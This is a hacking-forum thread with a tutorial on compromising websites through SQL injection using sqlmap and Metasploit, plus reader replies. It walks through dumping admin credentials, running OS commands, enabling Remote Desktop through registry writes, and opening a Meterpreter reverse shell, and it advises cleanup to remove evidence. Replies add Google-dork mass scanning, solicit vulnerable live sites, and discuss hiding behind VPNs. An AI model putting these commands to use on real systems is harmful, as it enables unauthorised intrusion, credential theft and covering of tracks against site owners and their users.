

Forum:[Hack Forums](#)

Thread: [TUT: Owning the Database with SQLMAP and METASPLOIT](#)

Hooded Robin - May 17, 2011, 10:23 pm

I have written a few other tutorials on SQLMAP and last time we were using SQLMAP from Windows platform and could not realize its full potential so today I will be trying to teach you how to use it from Linux platform to take advantage of all that it has to offer. We will begin by booting up our favorite Linux distro of choice; I will be using BackTrack 4R2 for purposes of this tutorial - it is not required but helps because everything is mostly setup already (mostly Metasploit). Once you have your networking services started and a confirmed working version of Metasploit installed you should have everything how you want it for a stable work environment we will begin by downloading the latest copy of SQLMAP to our system. You can find it online at: <http://sqlmap.sourceforge.net/> or you can check it out from the terminal by using the following commands:

EX: svn checkout <https://svn.sqlmap.org/sqlmap/trunk/sqlmap> sqlmap-dev

NOTE: if using svn you may need to accept certificate to download, this is safe so you shouldnt have to worry...

Once it is done downloading you will have a new folder on your Desktop called "sqlmap-dev", and inside is what we will be using for the remainder of this tutorial - "sqlmap.py". In order to confirm it is properly setup lets just issue a quick command to take a peek at what we will be using today:

EX: python sqlmap.py --help

This will display all of the options available for SQLMAP. I will not go into too much details on the basics as they were covered in my first tutorial. I will be picking up where we left off in the previous tutorial, quick recap:

python sqlmap.py -u <http://site.com/example.php?id=1> -f -b --current-user --current-db --dbs --is-dba

Target Site: <http://site.com/example.php?id=1>

current user: 'user@localhost'

current database: database1

system users [1]: 'user'@'localhost'

current user is DBA: 'False'

vailable databases [5]:

[*] information_schema

[*] database1

[*] database2

[*] database3

[*] database4

python sqlmap.py -u <http://site.com/example.php?id=1> --tables -D database1

Database: database1

[13 tables]

+-----+

| access |

| action |

| ad |

| adcriteria |

| adminhelp |

```
| administrator |
| adminlog      |
| adminmessage  |
| bbcode        |
| config        |
| db_users      |
| users         |
| etc           |
```

```
+-----+
```

```
python sqlmap.py -u http://site.com/example.php?id=1 --columns -D database1 -T administrator
```

```
Database: database1
```

```
Table: administrator
```

```
[3 Columns]
```

```
+-----+
```

```
| Column | Type |
```

```
+-----+
```

```
| user   | varchar(250) |
```

```
| pass   | varchar(250) |
```

```
| ID     | int(11)      |
```

```
| etc    | varchar(100) |
```

```
+-----+
```

```
python sqlmap.py -u http://site.com/example.php?id=1 --dump -D database1 -T administrator -C
```

```
ID,Password,user
```

```
Database: database1
```

```
Table: administrators
```

```
[2 entries]
```

```
+-----+
```

```
| ID | Password | user |
```

```
+-----+
```

```
| 1 | lhazYOURpassWORD | admin |
```

```
| 2 | lhazYOURpassWORDtoo | JohnDoe |
```

```
+-----+
```

We have got Admin credentials! I hope they work on cpanel...

OK...so we have pulled all that we can from this server using SQLInjection, or have we? NOT EVEN CLOSE...

Since we have changed platforms and are now running on Linux with Metasploit also installed it is time to start putting SQLMAP to some real ninja work. Let's see what we have to work with:

```
sqlmap.py --help
```

excerpt:

Operating system access:

These options can be used to access the back-end database management system underlying operating system.

--os-cmd=OSCMD Execute an operating system command

--os-shell Prompt for an interactive operating system shell

--os-pwn Prompt for an out-of-band shell, meterpreter or VNC

--os-smbrelay One click prompt for an OOB shell, meterpreter or VNC

--os-bof Stored procedure buffer overflow exploitation

--priv-esc Database process' user privilege escalation

--msf-path=MSFPATH Local path where Metasploit Framework 3 is installed

--tmp-path=TMPPATH Remote absolute path of temporary files directory

As you can see quite a few options, but all require Linux and working Metasploit as dependency which is why I did not cover them on the last tutorial. We will begin with '--os-cmd' and work our way down from there explaining the different attack methods as we go...

Run arbitrary operating system command using these arguments: '--os-cmd' and/or '--os-shell'

It is possible to execute commands on the database server's underlying operating system when the back-end DBMS is running either MySQL, PostgreSQL or MSSQL Server, AND session user has necessary privileges for the database. If you want to understand how SQLMAP accomplishes things please visit the homepage for the product or read the docs included with download as I don't have the time to go into that here, just know it works and is very capable and the methods used can change slightly based on whether or not you need to see/retrieve the response back on screen or not...

These techniques are also well detailed in the white paper which is linked from the homepage's main page, called "Advanced SQL injection to operating system full control". The basic command structure looks like this:

EX: `python sqlmap.py -u "http://site.com/pgsql/example.php?id=1" --os-cmd id -v 1`

```
[...]
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL
[16:09:15] [INFO] fingerprinting the back-end DBMS operating system
[16:09:15] [INFO] the back-end DBMS operating system is Linux
[16:09:18] [INFO] testing if current user is DBA
[16:09:25] [INFO] detecting back-end DBMS version from its banner
[16:09:25] [INFO] checking if UDF 'sys_eval' already exist
[16:09:35] [INFO] checking if UDF 'sys_exec' already exist
[16:09:35] [INFO] creating UDF 'sys_eval' from the binary UDF file
[16:09:35] [INFO] creating UDF 'sys_exec' from the binary UDF file
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:  'uid=104(mysql) gid=106(mysql) groups=106(mysql)'

[16:09:37] [INFO] cleaning up the database management system
do you want to remove UDF 'sys_eval'? [Y/n] y
do you want to remove UDF 'sys_exec'? [Y/n] y
[16:09:45] [INFO] database management system cleanup finished
[16:09:45] [WARNING] remember that UDF shared object files saved on the file system can
only be deleted manually
```

I suggest indicating "YES" to most of the prompts unless you know what you are really doing and plan on just checking the logs when done. This is especially true for cleanup phase to remove the user added functions which allow the takeover to take place (thus removing one more piece of evidence)...

If SQLMAP has not confirmed stacked queries can be used (i.e. PHP or ASP with back-end database management system running MySQL) and the DBMS is MySQL, it is still possible to perform successful attack using the "INTO OUTFILE" function to create a web backdoor in a writable folder within the web server document root allowing command execution (assuming the back-end DBMS and the web server are hosted on the same server, if not all bets are off). If this scenario is detected SQLMAP will prompt the user for additional targets to try and upload the web file stager and backdoor to. The tool has pre-built features allowing you to choose from SQLMAP's file stagers and backdoors for the following languages: ASP, ASP.NET, JSP, and PHP (which is the default

option). You will be prompted to make these selections to aid the tool in getting the job done when you run the initial takeover command using '--os-cmd' argument.

In addition to executing commands on the underlying OS you can also prompt for a direct SQL Shell to work from using the '--os-shell' argument. It simulates a real shell that will allow you to execute arbitrary commands as you wish, and as many as you need. The option is --os-shell and has the same TAB completion and history functionalities that --sql-shell has or would be experienced in most Shell environments.

More Takeover Techniques? You bet ya...

If the Database Server is hosted on a Windows machine you can also use SQLMAP to read and write changes to the system registry. This is possible when the DBMS is running MySQL, PostgreSQL or Microsoft SQL Server AND supports stacked queries. The current session user will also need the proper privileges to access it.

Arguments that can be used:

'--reg-read' used to read registry key values.

'--reg-add' used to write registry key values

'--reg-del' used to delete registry keys values

Auxiliary registry switches: '--reg-key', '--reg-value', '--reg-data' and '--reg-type'

Auxiliary switches can be used as additional arguments to define registry specifics for running the main arguments to skip interactive prompts

'--reg-key=PATH' used to specify key path for Windows registry

'--reg-value=NAME' used to define value item name inside provided key

'--reg-data=VALUE' used to define value data

'--reg-type=TYPE' used to define the type of value

Here is an example of what it would look like if we wanted to check the remote Windows S2k3 target to see if Remote Desktop is enabled already:

```
EX: sqlmap.py -u http://site.com/example.aspx?id=1 --reg-read
--reg-key="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"
--reg-value=fDenyTSConnections
```

Results...

=1...

Damn...0=Enabled..&..1=Disabled

...

Good thing we are persistent ;)

To enable the Remote Desktop feature on the target machine so we could then remote in using some of the credentials we dumped from the database earlier :)

```
EX: sqlmap.py -u http://site.com/example.aspx?id=1 --reg-add
--reg-key="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"
--reg-value=fDenyTSConnections --reg-type=DWORD --reg-data=0
```

Now issue the '--reg-read' command again to confirm the value was updated. On most systems this would require a system restart so this may not be all that helpful in real life settings, but this should give you an idea of what you can be capable of as the options are only limited by your knowledge of the system registry so get to studying...

...

....

.....

More Takeover Techniques? You bet ya, got just a few more for you...

....so that is what SQLMAP is capable of on its own, now let's see what we can do when we add Metasploit to the equation and test SQLMAP using Out-of-band stateful connections (i.e using Metasploit modules & Meterpreter), using the following arguments/switches to put it all together: '--os-pwn', '--os-smbrelay', '--os-bof', '--priv-esc', '--msf-path' and '--tmp-path'. Each of these options will perform different attacks to try and take over the database server. These switches arguments can be used to get an interactive command prompt, a Meterpreter session or a VNC session.

SQLMAP relies on Metasploit to create the shellcode and implements four different techniques to execute it on the database server. These techniques are:

- 1) Database in-memory execution of the Metasploit's shellcode via sqlmap own user-defined function sys_bineval(). Supported on MySQL and PostgreSQL. Switch or argument to use attack method: '--os-pwn'
- 2) Upload and execution of a Metasploit's stand-alone payload stager via sqlmap's own user-defined function sys_exec() on MySQL and PostgreSQL or via xp_cmdshell() on Microsoft SQL. Switch or argument to use: '--os-pwn'
- 3) Execution of Metasploit's shellcode by performing a SMB reflection attack (MS08-068) with a UNC path request from the database server to the your machine where the Metasploit smb_relay server exploit is setup and listening. Supported when running sqlmap with high privileges (uid=0) on Linux/Unix and the target DBMS runs as Administrator on Windows. Switch or argument to use attack method: '--os-smbrelay'
 - 3a) This requires setup of SMBrelay attack from Metasploit's ./msfconsole
- 4) Database in-memory execution of the Metasploit's shellcode by exploiting Microsoft SQL Server 2000 and 2005 sp_replwritetovarbin stored procedure heap-based buffer overflow (MS09-004).
 - 4a) sqlmap has its own exploit to trigger the vulnerability with automatic DEP memory protection bypass, but it relies on Metasploit to generate the shellcode to get executed upon successful exploitation. Switch or argument to use attack method: '--os-bof'

Let's begin with option 1: '--os-pwn'

EX: python sqlmap.py -u "http://www.site.com/mysql/iis/example.aspx?id=1" --os-pwn --msf-path /pentest/exploits/framework3

Most important thing to note here is that we are defining the path to Metasploit using the '--msf-path' argument to tell sqlmap where to look so it can get Metasploit to prepare the shellcode to be used for the attack. (NOTE: I beleive this is one of the reasons it doesnt work on Windows as the path will not use Windows friendly path names/formatting and is hard coded for Linux use only). This will work similar to the previous outline aboev for '--os-cmd' in that SQLMAP will do everything possible to make it work without user interaction but it may prompt you to identify the document root folder so it knows where to try and upload to make it work. You can also provide comma separated alternatives as additional otions/places to try.

Results from above '--os-pwn' command...

[...]

[hh:mm:31] [INFO] the back-end DBMS is MySQL

web server operating system: Windows 2003

web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0

back-end DBMS: MySQL 5.0

[16:10:05] [INFO] fingerprinting the back-end DBMS operating system

[16:10:05] [INFO] the back-end DBMS operating system is Windows

how do you want to establish the tunnel?

[1] TCP: Metasploit Framework (default)

[2] ICMP: icmpsh - ICMP tunneling

>

[16:10:05] [INFO] testing if current user is DBA

[16:10:05] [INFO] fetching current user

what is the back-end database management system architecture?

[1] 32-bit (default)

[2] 64-bit

>

[16:10:05] [INFO] checking if UDF 'sys_bineval' already exist

[16:10:06] [INFO] checking if UDF 'sys_exec' already exist

[16:10:09] [INFO] detecting back-end DBMS version from its banner

[16:10:09] [INFO] retrieving MySQL base directory absolute path

[16:10:11] [INFO] creating UDF 'sys_bineval' from the binary UDF file

[16:10:12] [INFO] creating UDF 'sys_exec' from the binary UDF file

how do you want to execute the Metasploit shellcode on the back-end database underlying operating system?

[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)

[2] Stand-alone payload stager (file system way)

>

[hh:mm:35] [INFO] creating Metasploit Framework 3 multi-stage shellcode

which connection type do you want to use?

[1] Reverse TCP: Connect back from the database host to this machine (default)

[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535

[3] Bind TCP: Listen on the database host for a connection

>

which is the local address? [192.168.1.2]

which local port number do you want to use? [31337]

which payload do you want to use?

[1] Meterpreter (default)

[2] Shell

[3] VNC

>

[16:10:15] [INFO] creation in progress ... done

[16:10:15] [INFO] running Metasploit Framework 3 command line interface locally, please wait..

METASPLOIT BANNER:

=[metasploit v3.8.0-dev [core:3.8 api:1.0]

+ -- --=[688 exploits - 357 auxiliary - 39 post

+ -- --=[217 payloads - 27 encoders - 8 nops

=[svn r12655 updated today (2011.05.17)

PAYLOAD => windows/meterpreter/reverse_tcp

EXITFUNC => thread

LPORT => 31337

LHOST => 192.168.1.2

[*] Started reverse handler on 192.168.1.2:31337

[*] Starting the payload handler...

[hh:mm:48] [INFO] running Metasploit Framework 3 shellcode remotely via UDF 'sys_bineval', please wait..

[*] Sending stage (749056 bytes) to 192.168.1.25

[*] Meterpreter session 1 opened (192.168.1.2:31337-> 192.168.1.25:1689) at Mon May 17

```
meterpreter > Loading extensions...success.
meterpreter > [-] The 'priv' extension has already been loaded.
meterpreter > System Language : en_US
OS      : Windows .NET Server (Build 3790, Service Pack 2).
Computer : W2K3R2
Architecture : x86
Meterpreter : x86/win32
meterpreter > Server username: NT AUTHORITY\SYSTEM
meterpreter > ipconfig
IP Address : 127.0.0.1
Netmask    : 255.0.0.0
Intel® PRO/1000 MT Network Connection
Hardware MAC: 00:11:22:AA:BB:CC
IP Address : 192.168.1.25
Netmask    : 255.255.255.0
meterpreter > exit (Session closed)
```

Default MySQL on Windows runs as SYSTEM, PostgreSQL runs as low-privileged user "postgres" on both Windows and Linux. Microsoft SQL Server 2000 runs as SYSTEM, Microsoft SQL Server 2005 and 2008 run most of the time as NETWORK SERVICE and sometimes as LOCAL SERVICE. It is possible to provide sqlmap with --priv-esc to perform a database user privilege escalation via Metasploit's "getsystem" script which includes, the kitrap0d technique (MS10-015) and several others. I hope you have enjoyed these last few tuts I have provided on some different methods to performing SQL injection with this great tool. I hope to bring you more tutorials and introductions to other great tools in the future.

Hooded Robin - May 19, 2011, 8:13 pm

Over 50 views and no feedback?

michaeljay - May 20, 2011, 6:18 am

Nice tutorial. Anything that delivers meterpreter gets a thumbs up!

D@rKL0rd - May 20, 2011, 6:56 am

hey man good work...

I think you are giving too much to HAVIJ army here..thts why no replies...;)....

wld have rep+ you if i could

lolalu0 - May 20, 2011, 8:17 am

Nice tut bro! ill will def read it :))
keep it up

Hooded Robin - May 20, 2011, 10:58 am

Thanks guys, glad some of you enjoyed it! I have some more advanced ones planned for when I get back from my honeymoon (that's right getting married this weekend!!). Next I plan to cover how to use Burp suite to automate blind injections and maybe some other neat tricks, as I am still getting used to it (very interesting tool and tons of customization available). The Havij Army will always be around but luckily sqlmap is a command line only tool which seems to scare away most of the uber skids.

michaeljay - May 20, 2011, 7:32 pm

Keep up the good work. Looking forward to what you'll say with Burp. :)

Basics. - May 20, 2011, 7:35 pm

This is a good tutorial. I recommend putting it in a spoiler though.

RRRoooRRR - May 20, 2011, 9:25 pm

Pretty good, you should try SQL Ninja and see the magic that works. But i prefer manual injection any day.

I hope you give credit if this is not your work, just saying ;)

-Chosen-

Hooded Robin - May 21, 2011, 1:25 am

Thanks for the comments above, will work on it in next ones I post.

Chosen - I have just recently started playing with SQL Ninja and agree - it is much more to the point. I was having some problems finding 100% vulnerable MS SQL sites though (to write a good tutorial off of from start to shell). If you want to PM me a site you know is vulnerable I would be happy to do a full write up. I have been playing with some Perl scripts I found so that it only finds MS SQL sites in the results, but I have been trying to finalize it before posting the next tut and links so any help is much appreciated (PS - I wont post site in the tut, I will mask it but need one to test out all of the possible scenarios). Also been having some problems with SLQ Ninja config syntax, so if you have any examples or advice please point me in the right direction as I am eager to explore this tool as well.

qambrani2010 - June 6, 2011, 10:08 am

good sharing bro keep it up!

Frag - June 6, 2011, 7:37 pm

Hey bro I'm really confused? How did you start executing your commands? I can't execute them in Metasploit because it says python is an unknown command. I tried downloading python that didn't work either :X

Hooded Robin - June 7, 2011, 6:51 am

Everything is done from SQLMAP in console at the command line, you are only defining the path to Metasploit so that it can be called by SQLMAP to help provide as needed (unless trying the os-smbrelay attack which actually requires you to set some things up through Metasploit separately). Also this only works on Linux due to how the paths are defined in the SQLMAP python code (hard coded and doesnt allow for windows formatting to be used). What commands specifically are you having trouble with? What system are you trying to run it on? Let me know some more specifics around the problems you are facing and your current system setup and I will do what I can to help you through them.

Frag - June 7, 2011, 10:28 am

(Jun 7, 2011 06:51 AM)Hooded Robin Wrote: [\[CITE\]](#) Everything is done from SQLMAP in console at the command line, you are only defining the path to Metasploit so that it can be called by SQLMAP to help provide as needed (unless trying the os-smbrelay attack which actually requires you to set some things up through Metasploit separately). Also this only works on Linux due to how the paths are defined in the SQLMAP python code (hard coded and doesnt allow for windows formatting to be used). What commands specifically are you having trouble with? What system are you trying to run it on? Let me know some more specifics around the problems you are facing and your current system setup and I will do what I can to help you through them.

I'm currently running windows so yeah I guess I can't use this method until I download linux :p.

Rhino85 - June 7, 2011, 2:46 pm

Wow, very detailed. Thanks

Hooded Robin - June 7, 2011, 3:43 pm

Glad you like it above!

Frag - Yeah, sorry it needs to be run under Linux to take advantage of the Metasploit features, but you can still do some of the other takeover techniques without it, just have to play with it till you get used to it. If I find time to sort through all of the python files that make it up I might try to see if I can find a way to fix this, but until then try running it from a Linux Virtual Machine or just make the switch :)

Frag - June 7, 2011, 4:13 pm

(Jun 7, 2011 03:43 PM)Hooded Robin Wrote: [\[CITE\]](#) Glad you like it above!

Frag - Yeah, sorry it needs to be run under Linux to take advantage of the Metasploit features, but you can still do some of the other takeover techniques without it, just have to play with it till you get used to it. If I find time to sort through all of the python files that make it up I might try to see if I can find a way to fix this, but until then try running it from a Linux Virtual Machine or just make the switch :)

I might attempt the Linux Virtual Machine, I'm really trying to get into the whole hacking scene because I was very dedicated when I first joined but then slacked off so now I'm trying to learn again :D.

Thanks for the help bro

Frag

Hooded Robin - June 7, 2011, 8:13 pm

You can check out my other tutorials in my sig below and feel free to PM if you need a hand learning anything, and I will try to help if I can

balak - July 8, 2011, 4:40 pm

(May 20, 2011 06:56 AM)D@rKL0rd Wrote: [\[CITE\]](#) hey man good work...

I think you are giving too much to HAVIJ army here..thts why no replies...;)....

wld have rep+ you if i couldlool,true

hey thanks for the tutorial ?

CRT - July 8, 2011, 8:31 pm

Great tut man, didnt manage to read all of it though.

Moddy - July 8, 2011, 10:43 pm

Whats a good VPN to use with bt5? I found a write-up that uses network-manager applet that can be set up to use UltraVPN but ive been unable to get it to work. Ive also am having problems setting up TOR/Privoxy so im stuck with using only JAP, any suggestions?

noober1001 - July 9, 2011, 2:22 am

Good tutorial bro.

Thanks for this.

?,.*s??døw ??s????*,.? - July 9, 2011, 2:35 am

Anyone of you knows of a good SQLi Scanner? (Besides SQL Poizon because it stopped working for me for some unknown reason)

Hooded Robin - July 9, 2011, 4:38 pm

Emin - You can use SQLMAP to process google dorks for you - through the actual Google Search page! just use the -g flag followed by your google dork in quotes, instead of the -u flag with your target site. You have to add all of your scan options when you run it so it knows what else to try and do if it finds a vulnerable page. It can take some time but it has good success rate and you can skip targets easily as well.

Example:

Code sqlmap.py -g "inurl:index.php?id=" -o -b --current-user --current-db --dbs --is-dba --users You will need to be close by to handle any user interaction. You can also provide parameters to define page depth and other neat tricks but you will need to read the documentation to get the full details.

Moddy - neat trick is to use full port VPN like [censored] on Windows host and then run BT5 via Virtual Machine with NAT settings so it gets to take advantage of your VPN connection. Otherwise you will need to look into VPN providers that let you connect with OpenVPN.

Cyber_Space_Warrior - July 10, 2011, 7:36 pm

thats great work bro, i wish i could rep u :))

K33ps3cur3d - July 15, 2011, 10:35 am

Love this tutorial, really nice piece of work.

If i could give a rep for this i would[align]

Hooded Robin - July 21, 2011, 7:23 am

I am glad you guys like this, it has officially gone HOT with over 1000 views!

Pirate - November 19, 2011, 10:52 pm

Fantastic tutorial. You are the man! Thank you very much.. Enjoyed reading the tutorial :)

Prominent - November 20, 2011, 12:39 am

Nice tutorial but it could use some formatting.

Hooded Robin - November 20, 2011, 3:31 am

yeah, I know it was one of my first tutorial series. I am working on an updated video for this one and the one I did on ISRevilgrade. Hopefully this is enough to the point across to most folks as I have not seen a lot of documentation on this else where...

DD0Sed - February 20, 2012, 9:12 pm

For the sqlmap part I also recommend adding "--threads=10" for faster column and table finding. other then that, great guide (:

rangasux - February 21, 2012, 7:26 am

I see that this is some hard word to write, Even though I dont get any of it, Very nice job. :)

megamoron82 - February 22, 2012, 2:51 am

Great guide! I've learned a lot from this :)

ingramator - February 22, 2012, 3:43 am

Great tut even I learned a few things :P awesome to see people still using manual injection!!

Kompleet - February 22, 2012, 10:48 am

Nice tutorial bro.

This deserves a bookmark. :)

daGazaman - February 22, 2012, 10:55 am

All in all, a well put together tut. Thanks for spending time educating the masses. You are one of the reasons why information security is a thriving business ;)

Sigals - February 22, 2012, 2:59 pm

awesome tutorial but how can I find the web server document root path?

Hooded Robin - February 22, 2012, 3:53 pm

@Signals - This is a big part of the challenge! My biggest suggestion is to manually inspect the site and throw as many bogus requests as you can at it and try to hope you spring a error which divulges the site path. You can also you use the SQL-CMDShell feature to drop to SQL Shell and query for things like the @@datadir, @@tmpdir, @@basedir which may help you to determine the naming convention being used on the site (i.e. make an educated guess is better than not trying sometimes, as sometimes you get lucky). This isn't for every site but when it works it is super cool.

Glad to see folks still getting something out of this tut (was one of my firsts)...